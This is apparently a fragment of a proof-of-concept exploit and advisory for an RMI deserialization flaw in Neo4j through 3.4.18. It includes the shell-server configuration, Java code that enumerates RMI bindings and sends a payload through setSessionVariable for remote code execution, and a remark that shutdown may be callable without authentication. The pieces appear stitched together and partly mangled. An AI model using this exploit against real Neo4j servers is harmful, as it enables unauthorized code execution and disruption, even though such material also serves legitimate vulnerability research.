# Enable a remote shell server which Neo4j Shell clients can log in to. dbms.shell.enabled=true # The network interface IP the shell will listen on (use 0.0.0.0 for all interfaces). dbms.shell.host=127.0.0.1 # The port the shell will listen on, default is 1337. dbms.shell.port=1337
boolean validBinding = checkBinding(TARGET_BINDING, TARGET); if (!validBinding) { System.out.println("[-] No valid binding found, shell server may not be listening. Exiting"); System.exit(0); }
System.out.println("[+] Found valid binding, proceeding to exploit"); ShellServer server = (ShellServer) Naming.lookup(TARGET + "/" + TARGET_BINDING);
//Here server.shutdown may also be callable without auth, just in case the exploit fails and you just want to turn the thing off try { server.setSessionVariable(newClientId(), "anything_here", payload); } catch (Exception UnmarshalException ) { // UnmarshalException.printStackTrace(); System.out.println("[+] Caught an unmarshalled exception, this is expected."); } System.out.println("[+] Exploit completed");
}
/** * Just a helper method to validate that the rmi binding we're looking for is present * @param bindingToCheck the binding you'd like to check for * @param targetToCheck the rmi registry to check against * @return true if the binding is present, false if not */ publicstaticbooleancheckBinding(String bindingToCheck, String targetToCheck){
System.out.println("Trying to enumerate server bindings: "); try { RegistryImpl_Stub stub = (RegistryImpl_Stub) Naming.lookup(targetToCheck);
for (String element : stub.list()) { System.out.println("Found binding: " + element); if (element.equalsIgnoreCase(bindingToCheck)) returntrue; } returnfalse; } catch (Exception ex) { returnfalse; }
Neo4j through 3.4.18 (with the shell server enabled) exposes an RMI service that arbitrarily deserializes Java objects, e.g., through setSessionVariable. An attacker can abuse this for remote code execution because there are dependencies with exploitable gadget chains.